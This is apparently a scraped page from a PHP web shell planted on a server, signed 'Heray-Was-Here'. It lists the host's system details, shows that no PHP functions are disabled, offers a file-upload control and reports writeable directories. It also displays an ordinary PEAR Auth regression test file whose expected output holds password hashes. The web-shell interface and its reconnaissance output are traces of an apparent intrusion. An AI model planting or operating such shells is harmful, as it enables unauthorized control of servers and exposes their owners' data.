Heray-Was-Here
Server : Apache
System : Linux vps43555.mylogin.co 3.10.0-1160.53.1.vz7.185.3 #1 SMP Tue Jan 25 12:49:12 MSK 2022 x86_64
User : redsea ( 60651)
PHP Version : 7.4.32
Disable Function : NONE
Directory :  /usr/local/php5.4/lib/php/test/Auth/tests/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/php5.4/lib/php/test/Auth/tests/bug8735.phpt
--TEST--
Regression test for bug #8735
--FILE--
<?php
set_include_path(dirname(dirname(__FILE__)) . ':' . get_include_path());
$datasrc = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'bug8735.passwd';

require_once 'PEAR.php';
require_once 'Auth.php';

$a = new Auth('File', 
		array('file' => $datasrc, 
			'type' => 'AuthBasic'),
		'displayLogin');
if (PEAR::isError($a)) {
	print $a->getMessage();
	exit;
}

$error = $a->removeUser('username');
if (PEAR::isError($error)) {
	print $error->getMessage();
	exit;
}

readfile($datasrc);
print "-- cut --\n";

$error = $a->addUser('username', 'password');
if (PEAR::isError($error) || $error === false) {
	print "Error happened when adding.\n";
	print $error->getMessage();
	exit;
}

readfile($datasrc);

$a->removeUser('username');
?>
--EXPECT--
test:fcfKBtvEwG4g.
-- cut --
test:fcfKBtvEwG4g.
username:{SHA}W6ph5Mm5Pz8GgiULbPgzG37mj9g=

Hry